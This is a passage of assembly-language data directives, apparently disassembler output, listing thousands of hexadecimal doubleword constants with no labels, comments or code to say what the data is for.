dd 6486CF23h, 85D811C5h, 31548041h, 823E5A2Eh, 0B8C7CACCh
dd 0A362C7A2h, 0B1177FDCh, 6470E98Eh, 30635820h, 6C1F0F76h
dd 37CAB260h, 3C5E8090h, 54C72631h, 80E8034Dh, 0BB56B471h
dd 0A47300D0h, 0B25E8ACCh, 0DC9682E9h, 2C649C1Fh, 1AC9808h
dd 0C602DB99h, 80406CCEh, 2A886EFDh, 28F64914h, 0FDC0D84Fh
dd 5C40294Ch, 2C8A1080h, 133E8300h, 2405860Ch, 245F138h
dd 942FD771h, 287B00E1h, 6600C874h, 0CC528EE7h, 0D8177Dh
dd 11A96732h, 4A0723A0h, 6E3BB00h, 65F652C4h, 5DF132Ah
dd 5BD8E38Ch, 0A43E3881h, 0E3D65887h, 804097FAh, 3F660269h
dd 0C80A754Bh, 4601B570h, 0E2453D61h, 98C46C39h, 0C1C4E8E4h
dd 8A625E8Bh, 0AF40103Fh, 46E51512h, 12C86E6Ch, 8CC10C5Eh
dd 0D000AD7Dh, 0D090F538h, 0FD0B890Bh, 85B48943h, 70F17218h
dd 0D048D47Dh, 4AB0D732h, 0AB20F466h, 0B7CB58FDh, 20DC9878h
dd 0AA133299h, 64A4AD8Eh, 2B6D647h, 0DE0F34D0h, 9E8D7F61h
dd 0E3D68420h, 17E704C8h, 96697E28h, 67E08160h, 8038DC3Eh
dd 21BDCF79h, 1C37BAFh, 0DFFF46A6h, 80011DCBh, 0F5508498h
dd 0FDE6905h, 0FBCED770h, 4C4D1413h, 8D8272Dh, 25E35204h
dd 0B8BC29FAh, 0CC7EED80h, 0C0BFDBAAh, 3FFE164h, 5120172h
dd 3801854Fh, 890A25E5h, 22EA690h, 70F3032Ch, 0FC98A8EEh
dd 4566F40h, 92EDF611h, 2C34ACABh, 842448CDh, 6A153480h
dd 0F663B5B6h, 7D7A00DDh, 0B79E143Fh, 6C3DB491h, 28A8A6F7h
dd 30424013h, 0DE51474Ch, 0C73E9028h, 12F159FAh, 0B478800Dh
dd 4962D9C7h, 5917F4D8h, 0ACE614E5h, 0BD48D4Fh, 0EE0B168Ch
dd 24E0A025h, 681E582Ah, 0AB092852h, 88C4B16Fh, 0F0CC89BDh
dd 0E8916174h, 0FE6D22E7h, 0A8AC1074h, 0F429C07h, 62BF3310h
dd 0E0FE51AEh, 0D15C6C02h, 94636188h, 3B288CF0h, 1F8BA14Fh
dd 0C923524Eh, 0A800BF4Ah, 8C61F0E0h, 3F68EA06h, 0B788C50Ch
dd 82A0608Ch, 0C7486558h, 26C2E637h, 0FA14E6CFh, 7964A0B8h
dd 4DA33EB1h, 2E2A7050h, 800C8BCCh, 0B3EDCF29h, 0B81794DEh
dd 0F405EBCDh, 0F0ADE2A8h, 0E2A10h, 3E6D4871h, 959FBE06h
dd 2762D402h, 16538CA1h, 8186E458h, 0CA504804h, 58F52667h
dd 40A8800Ch, 2898B9FBh, 6810AA0Bh, 0E85078B8h, 38652D6Fh
dd 0C0A46064h, 0E3577D13h, 2C4230B6h, 62B0D04Fh, 109D91B3h
dd 6B42FE4h, 27648A37h, 5D0918A3h, 0DBBF7984h, 0D79C405Ch
dd 3A005131h, 243CFC4Bh, 1A2B99EAh, 38E63207h, 880210B2h
dd 83009D74h, 38BD46Bh, 1CCBD558h, 0A87D7FC4h, 0FEA0AD00h
dd 9C7FC84h, 0DC704Dh, 623EC8CAh, 0CB663B50h, 804FEC32h
dd 4B1CF06Fh, 0E93C0970h, 2A147814h, 25D09CBAh, 0BC984ECDh
dd 0B62A6728h, 0A33F186Ch, 0F99BB072h, 0A92062E5h, 0C846B494h
dd 0D6723E68h, 189FB71Ah, 0A21C2CC0h, 0C2F88281h, 0AE1E126Ch
dd 0CEB102EBh, 20C08D51h, 971E91F5h, 2F80A3E9h, 7ED57CFh
dd 4DCA043Bh, 1C4A272Ah, 8806C443h, 0FC5001C3h, 0BBE41558h
dd 5F6180B8h, 0B2967238h, 6288B87Dh, 0EBDE39CAh, 54DD7CE0h
dd 6A30B00Eh, 7B00BFC3h, 62D776CAh, 20D95C5Ah, 301BEC03h
dd 3827461Fh, 93C49D6h, 29E4E980h, 7CABBDD4h, 0EB373013h
dd 3FE3FC40h, 64B6AE6h, 6762D482h, 5C0130BEh, 0CC7F30CDh
dd 0E444D08Fh, 5457DC12h, 0AC075002h, 307872h, 8AD9303Dh
dd 96D115B8h, 6D196463h, 0A680B1FCh, 27CDF088h, 3ED6E501h
dd 497E1D0Ch, 0DCD6DD4Ch, 0EEE46204h, 2B819087h, 243A35DBh
dd 6038C520h, 0C6DB8488h, 30C7C505h, 94F987C9h, 4514D9D3h
dd 558E290h, 0D772737Bh, 0AB82F8F3h, 0D8481505h, 50D655BFh
dd 12AE0C00h, 8881E9h, 0F80B6C5Ch, 724E44CBh, 67566418h
dd 4F2EBA28h, 0E820C531h, 59063C20h, 78DF09E4h, 0BE4085FDh
dd 0E1E8D445h, 0EC6C09FFh, 62320882h, 30247881h, 0D82EC3F8h
dd 0CE8440D4h, 80F82AEBh, 0E819E4CBh, 702C70CCh, 0D8CCD894h
dd 8D1A00C9h, 0CEF43572h, 0AD02A586h, 8A88E689h, 0BF8C939h
dd 0CDEFA240h, 28EBF8BCh, 9DFCD3FDh, 9D5D6482h, 646E2879h
dd 0D4A85546h, 8850DA2Bh, 2411257h, 6561CB6Fh, 0DCBE7080h
dd 0C9B36AFFh, 0BC34105h, 5BC119EFh, 7C75F5DDh, 5124E8F2h
dd 479B0025h, 29CE3E94h, 3D0011EEh, 50CC3C83h, 8A6A82h
dd 0A40C2BEh, 0ED51E353h, 0DB316C90h, 0C70208EBh, 2A35860h
dd 3AAFC10Bh, 0EC406474h, 650B9D83h, 0F8AECBB1h, 0F98B3858h
dd 0ECBC2281h, 7071AD88h, 1BD0F08h, 9E2DCCA4h, 0F9DB2881h
dd 210C9249h, 62DC248Ch, 0C8E9CB24h, 0C0064001h, 4B0264B7h
dd 0A6750861h, 0D0A9E038h, 54C22A17h, 42991068h, 0D7EE8516h
dd 542D8600h, 2E82E692h, 0B94FB4Eh, 0D442F0ACh, 7A0AEC41h
dd 1CB59400h, 10C51ABh, 7CA7DF54h, 51E7A284h, 5603A4h
dd 90F4D463h, 0D04124B0h, 81E617A4h, 81FFC8C0h, 891C7618h
dd 0CBC86961h, 145A5C71h
dd 7F78620Bh, 0C0C238DAh, 590FFD4Ch, 35803B0h, 702C0BC0h
dd 410968B2h, 25188F0Eh, 0D8F87D68h, 0BC50A13h, 98D0A260h
dd 0CF9A7062h, 0F87823h, 0C954CBFCh, 2224073Ah, 1BC6448h
dd 6AF3AC34h, 7BD22Ah, 50C3409Ch, 5E0052E7h, 7629D74Ch
dd 4CEAF70Ch, 0BF1084B4h, 1CD92C14h, 0D23A4AC0h, 9CD55FEDh
dd 7122FBECh, 25092588h, 0DD059853h, 22807235h, 9829E3B4h
dd 13BA78D3h, 409B2230h, 50266F3Ch, 4E09A889h, 40AE61FEh
dd 0B5C54h, 0E0F808F2h, 9A3BCAC0h, 8081232Dh, 8867DEECh
dd 0D5A40686h, 907C8906h, 8BDB6CA0h, 4C549124h, 43984B18h
dd 63D50EEFh, 1C9FDDF1h, 3F0424F0h, 0E7D2A81h, 622936E4h
dd 74F80458h, 1D24223Ch, 174A0493h, 60EC75h, 82C73FCh
dd 5C77D0BBh, 0BD002845h, 62F07E69h, 449A6640h, 18DA1C3Ch
dd 57D0C141h, 2A3F009Eh, 37816BA8h, 3A00AA87h, 0BD01E30Fh
dd 0A77C911h, 49E24DF0h, 40DF1F08h, 0FB4C0223h, 0A8F26B76h
dd 0F23F1302h, 5756CBD8h, 0FAA57000h, 11005C53h, 84A6EE2Fh
dd 4835630Ah, 0CB394CFDh, 0CC84A077h, 0E8442530h, 8C15812h
dd 77FB00F2h, 0EBC319C8h, 7AA31C6Dh, 0A06CF040h, 177D98BAh
dd 0F0FE301Dh, 0B3052784h, 0AB9DB0F3h, 0D280F4ACh, 10DAA232h
dd 9ACBC00Bh, 8D64A4CCh, 3C601889h, 43311A58h, 18553883h
dd 419CB8h, 843A62A6h, 18317AA8h, 0E4CBF40Ah, 0DE80E427h
dd 2A036CA3h, 6CA09F24h, 1121CFF2h, 14B7249Ah, 47E227B8h
dd 0A05410A9h, 2283B889h, 0BBF5EACh, 80D028B1h, 4CD1A120h
dd 1EDDEFEBh, 973C907h, 3CF0ED9Bh, 0A906410Bh, 0AAD8015Eh
dd 207A42E1h, 0C462DCACh, 0CB05C4B4h, 0AC9064C0h, 0B5CFFEFh
dd 2C62284Dh, 94B8C843h, 0E495796Eh, 0C0CA5EF8h, 4DD9BD0h
dd 17681053h, 0D4310EE4h, 0E84C8756h, 0E49B5C38h, 0D9710201h
dd 607A860Bh, 9641D20Ch, 9DD8056Fh, 0D8E88C3Fh, 1CA40612h
dd 1A12F0B9h, 7948C0EFh, 46091725h, 5E975673h, 630B0964h
dd 6FCBFC20h, 0E013DDC2h, 98B0D706h, 7DFA00DAh, 66B4D187h
dd 0DF0BFF3Bh, 0A32B0359h, 0F2E7DEE0h, 2588D18Bh, 1F401451h
dd 7C61D559h, 368B04A7h, 0C04B6B57h, 8667BE14h, 0A3034F0Bh
dd 28F47194h, 0D2A414D2h, 912CC4CAh, 58CC05DCh, 4D84C075h
dd 953EDC97h, 0CCB47FCBh, 0F8E0C827h, 0DB78C688h, 0AB20FCh
dd 0A0D47BE7h, 0D2F8DF17h, 2362530Fh, 2F180FB6h, 0E9CD5801h
dd 78F16A84h, 8EE8D082h, 34C0AE35h, 0CBA9B90h, 0FD40E094h
dd 2C2A8827h, 92280751h, 0E4408025h, 0B1026906h, 474940AAh
dd 1C644264h, 2009FDFCh, 3C0245ACh, 73CBE04Ch, 0C8935507h
dd 22A5EDC1h, 58C49EBCh, 0CB8C873h, 7ED4C9D7h, 309D1C01h
dd 0D08FA097h, 0D60FD4A8h, 7106DF21h, 80747CE2h, 217D4A16h
dd 0BF404C58h, 7AAC2200h, 32D875D2h, 8586350h, 7DB3391Eh
dd 0E244EA42h, 0F1088910h, 41CD4764h, 7BD4E788h, 16158028h
dd 0A1E95325h, 0ACAB04D0h, 42CBC240h, 409B001Bh, 4B00BB7Dh
dd 772CAC6Ch, 0B25B3D48h, 8CCB094Ch, 0CC7FB0h, 606EFB2Ch
dd 6BB3D44h, 28AA161Ch, 51894301h, 83B1A0BAh, 42431A6h
dd 0BD958DF3h, 0D8AD8AA8h, 609C2A05h, 0F93CFC91h, 2E56A420h
dd 20681A84h, 3EA10568h, 0C06BB96Ah, 497EF7A6h, 0A044F89Eh
dd 3DBDA4D0h, 0EB9705AAh, 0A8C53024h, 3E85810h, 1B8E1369h
dd 67E4B8CFh, 0FB07012Ch, 0A5796475h, 6C13DC02h, 35036090h
dd 6FB81ECFh, 0AF87B893h, 70E51EB9h, 3F177BF0h, 64C51E08h
dd 0B35C881Ch, 3E58E42Fh, 0D80C7002h, 7B50796Fh, 0A97F9502h
dd 8413DDE1h, 78831BD8h, 0FA30005Eh, 64C1715Dh, 7954E0C7h
dd 5F4A8C84h, 429CF004h, 43C822AFh, 8A1704D4h, 0C227181Ch
dd 40195570h, 41868D1h, 91D3E63Fh, 62F270BCh, 0AA0C787Eh
dd 5A5890D8h, 85042760h, 0BBB8D48Eh, 0D09CA045h, 3FC6A4FCh
dd 2A12F146h, 0F0C0EE20h, 0B584914Ch, 0B85EFC12h, 50B0429h
dd 4BECF110h, 0CB63D890h, 2E83F2Dh, 0D33794h, 63E6CD1h
dd 5BFD8025h, 0C9ECA414h, 943F4427h, 6278F0A4h, 2409784Bh
dd 0BCC0FBAh, 98C7491h, 706D878Ah, 0EA1E11A4h, 0C7E7BB81h
dd 71E01DADh, 31CD0053h, 0F60B3870h, 0B209DD99h, 807E1E52h
dd 1BFAF061h, 8A8100C9h, 4D884FB0h, 0EF7CC4E0h, 39A10D00h
dd 0B333B127h, 4830C3A8h, 581F47C2h, 0F340ABFEh, 7352F1C6h
dd 0C020C00Fh, 0B598BB7Ch, 0AF349403h, 0A122EA8Dh, 61F05415h
dd 2380071h, 0D84E2A4Ah, 3B3C6A72h, 4C607282h, 8D5EDD11h
dd 0D138616Eh, 0F952BB84h, 26608FACh, 2C48009Dh, 8A5F35h
dd 246C4FFEh, 9FDFF08Fh, 0EAE38D03h, 159352h, 45FE830h
dd 0DE6E814Ah, 0BCD9483Eh, 702918D0h, 0C13AD11h, 0DAF4F0AFh
dd 0C90038D8h, 5C60797Ch, 0E2B36C57h, 0BF4818AFh, 8768202Bh
dd 0DBD95E07h, 0E1A6AAF7h, 0BA4301B0h, 0B6A29BB5h, 386FC0B4h
dd 0DD1A7718h, 0EF096C8h, 6EFFF829h, 0A14AD9A0h, 0E20CEBD0h
dd 58119046h, 1697C41h, 0C8059E7Ah, 20CD93A1h, 9AE424D8h
dd 76949D00h, 0E039110Ah, 0D4C715E6h, 6176F0FEh, 0BF57B8B8h
dd 82AF308Dh, 0E0DF473Ah, 0AFC3B120h, 0BB950526h, 1F352E4Ah
dd 9D9B3BACh, 98C338C9h, 0E17D6115h, 54270ABCh, 48E88E6h
dd 0D372048h, 8B8DCFh, 34BEAFDBh, 948C30BCh, 0E2185660h
dd 0CFADA476h, 18D83240h, 330DF6Dh, 447749DBh, 3920D8FAh
dd 0A46032F9h, 0F13BB408h, 73BB3575h, 0FA080E20h, 0D9F85D60h
dd 0D5603676h, 0A7A56119h, 0BBC2007Ch, 0FEAA3BD0h, 790FCA60h
dd 0D8FA76D8h, 92E4B28h, 619BE5FDh, 8E07C08h, 3B0FF563h
dd 536D01F4h, 9880A322h, 8D2554DFh, 0E628FDBBh, 6C54E856h
dd 0F622F084h, 305948DAh, 358DC16h, 0AFBBADEDh, 100A49EFh
dd 28EE3D1Ah, 4CF070F8h, 20577CA1h, 0A22A6784h, 0CA02B8CFh
dd 0E6DB9505h, 4878C1D1h, 75FD020h, 0BA2EB88h, 0D3FBD19Ch
dd 0C8806AB3h, 1D38F18Eh, 4047780Fh, 0BA71C4CDh, 0D8005FD5h
dd 36FA052Ah, 8F0A1Fh, 4CEBBFCh, 4A19C9A2h, 0C4D2F01h
dd 963A7AA6h, 40643820h, 0AB12AD08h, 7C0FEEAFh, 0CC8952h
dd 0D75B3198h, 0AC3F00FBh, 51306B6Fh, 0E40FCFDCh, 4D527EE8h
dd 1C0128B7h, 183460B6h, 0FD90146h, 0C50EC2A8h, 4AD06025h
dd 82382C48h, 15B1D53h, 208D9734h, 6C74CF97h, 8E6FC402h
dd 4BF6F5D0h, 4025F29Ch, 49D6D374h, 9C26E4B9h, 0AD450804h
dd 4000F012h, 0B227A50Eh, 4D3890C4h, 5D240CE7h, 0DCE0B0DCh
dd 0FD287665h, 8453BCDBh, 0BB7400ECh, 1C724FCFh, 954619E3h
dd 0C4DEA814h, 0D1FED355h, 4C26D8A4h, 0B34468BCh, 746018C7h
dd 6CA93DAh, 0DF52D53Bh, 61E398E2h, 2512098h, 40D4D050h
dd 0F1B46706h, 60311Fh, 76D7108Fh, 7833B0C9h, 79A05450h
dd 6DDA6305h, 0AEC45B45h, 61562C80h, 9CBB00D5h, 0E50ECC25h
dd 0DC1E58CAh, 2D4A74B6h, 0B1C0B0BCh, 48D5AF23h, 0D904F8B3h
dd 0D07C7667h, 8A488618h, 0B20E3Eh, 0C2961DF8h, 0C50DDEh
dd 0C878FAD0h, 51DA572Fh, 0CAFA947Eh, 0D9F5ED00h, 3393BB4Bh
dd 528C00AEh, 3770B20Ah, 0A3006F5Eh, 0A1AA906Ah, 7CD6DCBAh
dd 7450986Eh, 49DF0EEAh, 0CA89342Bh, 0AE616C0Fh, 0B1DA01D8h
dd 897B2810h, 33D7FA03h, 1878CED9h, 342F470Fh, 0DB8C0358h
dd 8A08010Bh, 33BDAEDAh, 938BFCBBh, 90B65531h, 0D7077CE2h
dd 9AB481A6h, 0D0428FCEh
dd 0EBDF80C3h, 73EA7Fh, 0B2D9F6DEh, 0DD803181h, 0D015751Bh
dd 5B778970h, 1186DAE1h, 0B9394649h, 0B1F67237h, 93A491C0h
dd 264900E5h, 0D6C64676h, 51146D40h, 98D1C5h, 0AA448F43h
dd 39DD66C4h, 0AF33C762h, 0AE88B240h, 0A805EA37h, 0ED69B0F5h
dd 48A310C3h, 61061438h, 78248AD2h, 0BB2BE700h, 0D437DD1Dh
dd 93A3012Fh, 354F31EEh, 5C9182DBh, 81B06B8Ah, 8928D48Ch
dd 5796E0E3h, 392B00E9h, 0D613A647h, 5B1CECE5h, 4684BB26h
dd 0D20F68D5h, 0D8DB8Ah, 528B0656h, 6F782384h, 4662B606h
dd 1828CB91h, 7055F551h, 65EA4BF3h, 9D40A107h, 1E3BE86h
dd 0BFC000D2h, 4731E5F6h, 0AE0F12ABh, 6D9F3EDh, 0A0AD2Dh
dd 0F77DB2DFh, 0D814CFDDh, 0A4D7202Ah, 0F3FE6700h, 0CA5E28E2h
dd 7EC0A8E8h, 734C0EBBh, 0CE60B302h, 0C39BB26Eh, 4100F873h
dd 0DB27D6ECh, 335314AEh, 9FA07DE2h, 0F915C199h, 64913049h
dd 0BCD73924h, 2F808900h, 0C0BA5776h, 93C49960h, 3090960Bh
dd 0CF085562h, 0E0ACA3DDh, 0A0ACE29Eh, 59E5F864h, 9C8300E7h
dd 780CEEC9h, 5B005D57h, 93EF24A0h, 0CCEA3E47h, 0BD388A40h
dd 0E6BA8B07h, 0BC4A965Ch, 20E7420Ch, 0EC7658FAh, 0AC4CAF09h
dd 0FB5BA420h, 2B0089D8h, 9C8BF324h, 48B24B6Bh, 4A1070D4h
dd 19D3B69h, 51968A67h, 0BC418097h, 0A8224CEFh, 0D1A6581Bh
dd 1D52C00Ah, 100E845h, 0D4D8ABCDh, 6177F2FDh, 0C1523060h
dd 0DE0020F4h, 4DEE8C00h, 92FEC71Ah, 7F5118E6h, 0F96F609Eh
dd 4E827414h, 0E5007D9Ch, 101CBB23h, 10E0CE88h, 0F1801C6h
dd 20AEAAB2h, 478AE907h, 4B07230h, 0C3DF575Fh, 36848079h
dd 58CF167Ch, 1BEB007Ah, 6E015303h, 0DE88FDh, 9D75EAD7h
dd 2203C17Ch, 3AACA1CBh, 9E000C0h, 0B1DC98F5h, 0AA615B51h
dd 5D69DF48h, 278E046h, 75E2CDCBh, 0E8C015DCh, 0C860C1D2h
dd 0BA9BE728h, 514C0431h, 8870A858h, 4A01387Ch, 75D86CAEh
dd 389307F7h, 0B65C0147h, 20AC8AF3h, 1A2AC8DCh, 0E705741Ch
dd 6B885D59h, 10C48C10h, 0BE8AD9F9h, 0F8D50CC0h, 0A901E7D8h
dd 519DDC5Fh, 0CC203868h, 0BA860371h, 0B7D845E2h, 0DB693864h
dd 0C979083h, 0D458F748h, 0C32A5160h, 4F38C877h, 50D6A075h
dd 824DE8F8h, 0CC7F640Fh, 0F920D757h, 81C0354Ch, 6F30BA52h
dd 1EA8A0A4h, 2FAE00ACh, 2899A650h, 0ADE55318h, 28510378h
dd 0DC55C2h, 93B6B9BAh, 0CB7DFA9Ah, 0D9582F00h, 0A7E7F495h
dd 0F9850ED4h, 409F89E5h, 49EE60C8h, 4AB0D0DFh, 247AB51Ch
dd 461BB56h, 0D030D2B4h, 10E86017h, 2A4AE5D5h, 5DB67107h
dd 0ECD04EEFh, 0CD1B7D4h, 0D55347B3h, 40ADC28h, 0E865C7D2h
dd 0A02404A6h, 0D3016410h, 0EE6D5566h, 42C449F6h, 49004AF8h
dd 2C1ADC85h, 0A40377h, 4FE63F5Eh, 59CE6091h, 4709D053h
dd 7C8080ACh, 2C497BB1h, 0D3BA5CA0h, 970250B1h, 400D9394h
dd 50B152B8h, 7B03AC3Ah, 3775F831h, 8728D13Bh, 7C01CB84h
dd 409ABAD3h, 94034920h, 2ECDA3Bh, 0D491B986h, 0F4BCC093h
dd 8400821Eh, 23E02EEBh, 0D2240E7Ch, 0D608FC9Ah, 0D5CC0EAFh
dd 696D1CA1h, 5E73F0EAh, 4AEED8A0h, 8ABD0307h, 0D4C35D7Dh
dd 866FD0C7h, 0C9E400EFh, 2CA46A28h, 0FC005ABBh, 4E64D49h
dd 907994F3h, 0E5113F68h, 0E76E4203h, 93B3C303h, 9EE071CDh
dd 99C464C8h, 0D0936C2Ch, 0F830528Eh, 0C895DE0h, 7FBA24Fh
dd 0EA4C4C90h, 3E975866h, 81E16F7Ah, 6490B910h, 0A4302F61h
dd 2D490384h, 6FBCB29Ch, 12516CC0h, 0E030C567h, 0D4CD7EB3h
dd 0F7EDB890h, 809764D9h, 26840B0Dh, 8A884h, 99BA9425h
dd 0B1BD02Dh, 8856D0A1h, 9D787AA9h, 0D8810058h, 8DAEA002h
dd 5E284A60h, 0FE917A50h, 76461942h, 40B0F8D6h, 0AA52DBE4h
dd 2F4C741h, 81E8A8FDh, 1450E936h, 92F52547h, 1497421Ch
dd 85A42849h, 585D22B0h, 0EC2B20Fh, 875D24DCh, 2EC82CC8h
dd 0C62052F9h, 7CF6413Ah, 1630DD4Ch, 407118Ch, 32318A08h
dd 108277C9h, 9766513Ah, 3835A082h, 0E5006446h, 0C9AE29DCh
dd 0A4A4645Dh, 3FECFA08h, 38607451h, 778B9A1h, 0F21D8CA1h
dd 0F5189E8Dh, 14B88138h, 0EDB75E29h, 9BADB080h, 9FDC3981h
dd 0A87CB92Ah, 0DBA91301h, 0CBAAABFEh, 1354AC30h, 53BA8C24h
dd 0CE3804B4h, 0F310FDAh, 0E16F0FF5h, 0AFB186CFh, 0EDF3D4h
dd 0E4067B50h, 718B5DDAh, 52044F00h, 0CDFF3F86h, 89DE0241h
dd 25E44644h, 4A1C49Ah, 20D04E5Ch, 0D2166398h, 309728h
dd 0A83D7852h, 7C58FCh, 8799D094h, 0EC9F74E7h, 575CD8C0h
dd 3F96458Eh, 8C3D646Fh, 0B518521Ch, 244C048h, 2806FED4h
dd 0A4B57633h, 0E6A0A838h, 0D90917D2h, 0FEEC20DEh, 0A44869D5h
dd 782EC00Ch, 5F22551h, 45FA6E3Ah, 23890B2h, 8805CB7Eh
dd 13A97623h, 56C9E400h, 0C32A3651h, 477902B8h, 743483C1h
dd 0D5017DE0h, 8ADEDF66h, 6BC80233h, 7431E893h, 0C9A135C3h
dd 19100879h, 0DB00742Ch, 9F263EFAh, 326A7252h, 3328508Ah
dd 604EB0C2h, 0C42C2A58h, 3003274h, 0F5F039B3h, 61FB9A31h
dd 0EF0373AFh, 5ECCC8DCh, 85705448h, 94C383E9h, 0D2080BE5h
dd 0D818E06Ch, 45F4A17Fh, 0DBBFB61Eh, 99081C2Ch, 9BB40F0Ah
dd 0E628E90Ch, 2C20DC4Bh, 12D57CDEh, 85F22FCFh, 0C8888470h
dd 0A47D5290h, 8208089Bh, 51E8027Ah, 9848B64Ch, 0AF0061F0h
dd 0EACBBAC2h, 62076CDh, 8451545Bh, 0C39D30A4h, 0AB17654h
dd 0A34BD9FAh, 0E123EB4h, 0D068406Ch, 3AB6F903h, 0EDE3C600h
dd 144594F2h, 895E002Ch, 7231DC8Bh, 5C78E978h, 1E9BFC07h
dd 80A9A5F9h, 57D142A4h, 60EF60A3h, 75A40A7Bh, 0C4EBB92Ah
dd 5BD4800h, 0C7BA90D1h, 0B8B1F7Eh, 0D8780712h, 36922071h
dd 2604AD65h, 0CE17638h, 91802082h, 0F4306FC0h, 410924Bh
dd 3347BDE0h, 0DAA4B49Eh, 7BEFD38h, 740DCF86h, 3B084A66h
dd 0B298EAE8h, 0B88348DBh, 83EF2A3Fh, 7E753D87h, 0E5682402h
dd 0FC212Ch, 0B3A08AB4h, 0CCA0EA99h, 920ADBE0h, 0C80A3FCFh
dd 4319B690h, 717620E1h, 32608136h, 4B02B264h, 4B33DCF0h
dd 13F425B6h, 27D801DEh, 30C98A89h, 46174BA8h, 0AC49234Eh
dd 0F9E44B22h, 0B430AB53h, 1D72EC8h, 0DB187CE8h, 0FCA09657h
dd 0F8EC80D1h, 0E83341Fh, 5844D3D6h, 4401B545h, 24F01F53h
dd 0E6127D40h, 0CC81DF4Dh, 8425A90Fh, 15624040h, 0D8DD2E05h
dd 49D9007Fh, 61E9523Dh, 8BE01970h, 4C240C3Ch, 8110610Ah
dd 0AB804C7h, 9C3C871Fh, 0B8BB98Bh, 38860FC0h, 0FF1C1C5Fh
dd 34DF1C77h, 515907F0h, 81E11489h, 833321C1h, 6400870Ch
dd 8952565Ch, 84C281E2h, 22EA8332h, 0F3FC0F14h, 9F3E108Fh
dd 0B573E1Ch, 80B951E7h, 81474C31h, 340B8E9h, 860F0C93h
dd 0BF7C99A4h, 0B8D76800h, 59CF013Ah, 0CCD0DE83h, 5A224CD3h
dd 64EE8037h, 6231352Ch, 93301004h, 0F0015B00h, 81D4C58Bh
dd 685503C4h, 0A3047F4h, 0DEBE1C89h, 7E300E78h, 320EE81h
dd 0E94E0F37h, 299EED31h, 0E5CC242Ch, 0A850F653h, 78F701B9h
dd 6CF3285Eh, 0ACD97338h, 622EFE9Ch, 5DE82F92h, 0FE51D981h
dd 0FC59C5FFh, 90AA3EB7h, 4EC6D10Fh, 0BD501CE0h, 0EF2B0121h
dd 0C100E15Dh, 0E94302EBh, 2455679Ah, 8CE68E8Fh, 80073CCEh
dd 0D3F6CAF3h, 0C05EEB53h, 396628C3h, 0E98CB252h, 0F73682A2h
dd 0EF81D701h, 27423D0Bh, 1F0A1920h, 9F1DC90Dh, 6D80B9DFh
dd 0E98CD7A9h, 36CE51ACh
dd 1553C558h, 0DB8A544h, 74FFA058h, 5F3904E6h, 0E958D08Fh
dd 9AD01C31h, 6C53BE56h, 89C8E9F3h, 3D2D9453h, 79AA56BFh
dd 1178483h, 0BA525EF5h, 41AD1865h, 496FBCh, 48504059h
dd 58004EFFh, 2BC0B205h, 0ED0081F9h, 109043EFh, 5050C501h
dd 35E908B8h, 643E9B77h, 3189070Dh, 57092CFAh, 5C2FBF02h
dd 834F4737h, 9778C490h, 0D1E902CFh, 47D493Ah, 14BAF7ABh
dd 29C0E255h, 5C6AE9EFh, 0D9020DA1h, 0E539203Eh, 5B794203h
dd 3DDF763h, 0AB7D0CB4h, 0F0004D54h, 493A2AF5h, 145AD531h
dd 568CFDE9h, 3EFC10Ah, 15013E2h, 0FB0113B3h, 80AA215Fh
dd 0EBD14B6Dh, 751EC381h, 1C7013Dh, 0EC835BDDh, 0C6C2104h
dd 0D798E9DBh, 0AD66BC80h, 0F52573Ah, 77033BAh, 81B1DAF7h
dd 8F20B5EAh, 9F6D3783h, 0E951E062h, 3AC2F9B8h, 80ED8857h
dd 0B16EFAF4h, 1AA9015h, 0B41964F6h, 835EF201h, 2105A81Eh
dd 75C6F84Ah, 29A1301Fh, 2C2EED2Ah, 66206E90h, 5D543E9Ah
dd 21A6C5A9h, 0C0871806h, 0F16EE7E9h, 0CD0AA47Eh, 2BEB8290h
dd 148B2466h, 291FFh, 6562BB53h, 0CF71178h, 7185E9DBh
dd 801A0F1Ah, 4040EC6Ch, 3AF24240h, 8989336h, 0BBBE2229h
dd 71C54718h, 3B2709B8h, 0F63D678Dh, 0C4585F09h, 535E6B02h
dd 4DB9C282h, 683090Fh, 7AE8132h, 0C867F20h, 0F29A9D01h
dd 17040AA9h, 1516126Ch, 0FE10DE13h, 0D750739Ah, 9541AEFFh
dd 0E0C9B5F4h, 0F5904EBh, 0C18DC0B6h, 24DA68BFh, 879A89D4h
dd 8ECC812Ah, 78E54720h, 6F200C05h, 0C0545067h, 0EBF5F763h
dd 1E06E14Fh, 65A6C088h, 0FF83BF37h, 0AC2813D1h, 3E840466h
dd 4C681407h, 511012FBh, 0DCB600Ch, 5DEA2C01h, 8852C412h
dd 119B5A36h, 0AFCF3F26h, 8931F968h, 74541B60h, 0A6E29B8Bh
dd 620E2422h, 724259CBh, 889E090Ch, 985D5640h, 0BAD46194h
dd 515A810Fh, 20D0F7B1h, 1E7F9DB0h, 0F38B5509h, 0B1228389h
dd 0EFB6E861h, 1FCE3180h, 7457836h, 0E521C693h, 8853F903h
dd 5BF890F7h, 0CD89065Ah, 72EE0159h, 3048E130h, 0F005EDC0h
dd 5F7849C5h, 6F34EC21h, 6809B5CAh, 8AA35347h, 36422EB0h
dd 0C42F4D10h, 0B60632C5h, 0B40E96F9h, 0A104EEC0h, 37B151DEh
dd 0E21E9ECh, 0FE59CE20h, 0C13D2679h, 5EFE43F0h, 0F8044101h
dd 2803B753h, 0D886D0B9h, 0AB0F9B68h, 0FEB6A3A1h, 2F371C82h
dd 0E6E45607h, 4A448784h, 6601800Dh, 0E44C16B9h, 13D46732h
dd 1AC82656h, 330A9C1Fh, 483ACCCBh, 63E04D06h, 64085C0Dh
dd 40202608h, 0C580D586h, 7DEF9067h, 0E1F935AFh, 660D601Ah
dd 8BE6F329h, 0C0FD3449h, 68C0B70Fh, 0E9CEA9AFh, 0A8E7CC5h
dd 83E6465Fh, 0FF824363h, 0DBF1A041h, 88DEE10h, 8B0F4B03h
dd 0E018FA1h, 9D685157h, 0C0606A01h, 4F0C6447h, 2CCAC05Ah
dd 39416CB6h, 0A554F035h, 2EC4C194h, 0FD444D1Eh, 10C3335Fh
dd 0D066631h, 8481C85Ch, 0F6B66156h, 839FBF2Fh, 0BF5E5720h
dd 0C140CC3Ch, 0B007E831h, 35000ED7h, 8D024EFAh, 58C7893Fh
dd 2654424Fh, 0FB55AD6h, 0B74E9808h, 95E629A5h, 682DC006h
dd 7913D45h, 53E29EB9h, 953140C0h, 5DE95B27h, 8100480Bh
dd 14679AF2h, 41EF527Fh, 3154EAC5h, 0C8D0AC9Ah, 0C4648950h
dd 0D3F86ABFh, 3087EDE0h, 0E82806C5h, 108DCFA1h, 0F2FA885Ah
dd 20FCBAB5h, 2A340C33h, 0D01E2396h, 0A95B570Bh, 2420459h
